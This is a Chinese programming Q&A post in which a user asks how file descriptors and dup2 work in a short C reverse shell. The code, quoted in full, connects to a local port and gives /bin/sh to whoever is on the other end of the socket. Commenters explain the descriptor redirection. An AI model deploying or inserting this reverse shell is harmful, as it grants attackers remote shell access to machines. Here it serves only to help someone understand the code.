【发布时间】:2021-12-12 02:15:31
【问题描述】:
我遇到了这个用 c 编写的反向 shell 代码。
main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
execl("/bin/sh", NULL);
}
我想了解它,所以我向自己介绍了文件描述符,因为使用了 dup2。现在的问题是我不明白为什么。
socket 的手册页让我假设,stdin、stdout 和 stderr 正在被 socket 取代。
[...] 成功调用返回的文件描述符将是编号最小的文件 该进程当前未打开描述符。
这个假设是真的吗?如果是,为什么要重置默认流?是因为下面的 execl("/bin/sh", NULL) 行,正如this 线程所暗示的那样?
【问题讨论】:
-
引用适用于
dup(),而不是dup2()。代码中有一个错误——它应该有close(sock);或if (sock > STDERR_FILENO) close(sock);以便关闭套接字文件描述符——即使标准 I/O 文件描述符上有文件描述符的副本。 -
您将标准 I/O 描述符重置为套接字,这样如果有另一个进程打开了套接字,则该进程可以写入套接字并影响 shell 的标准输入,并且该进程可以从套接字读取以查看 shell 生成的标准输出和标准错误(这两个流将在某种程度上任意交错)。
标签: c sockets file-descriptor reverse-shell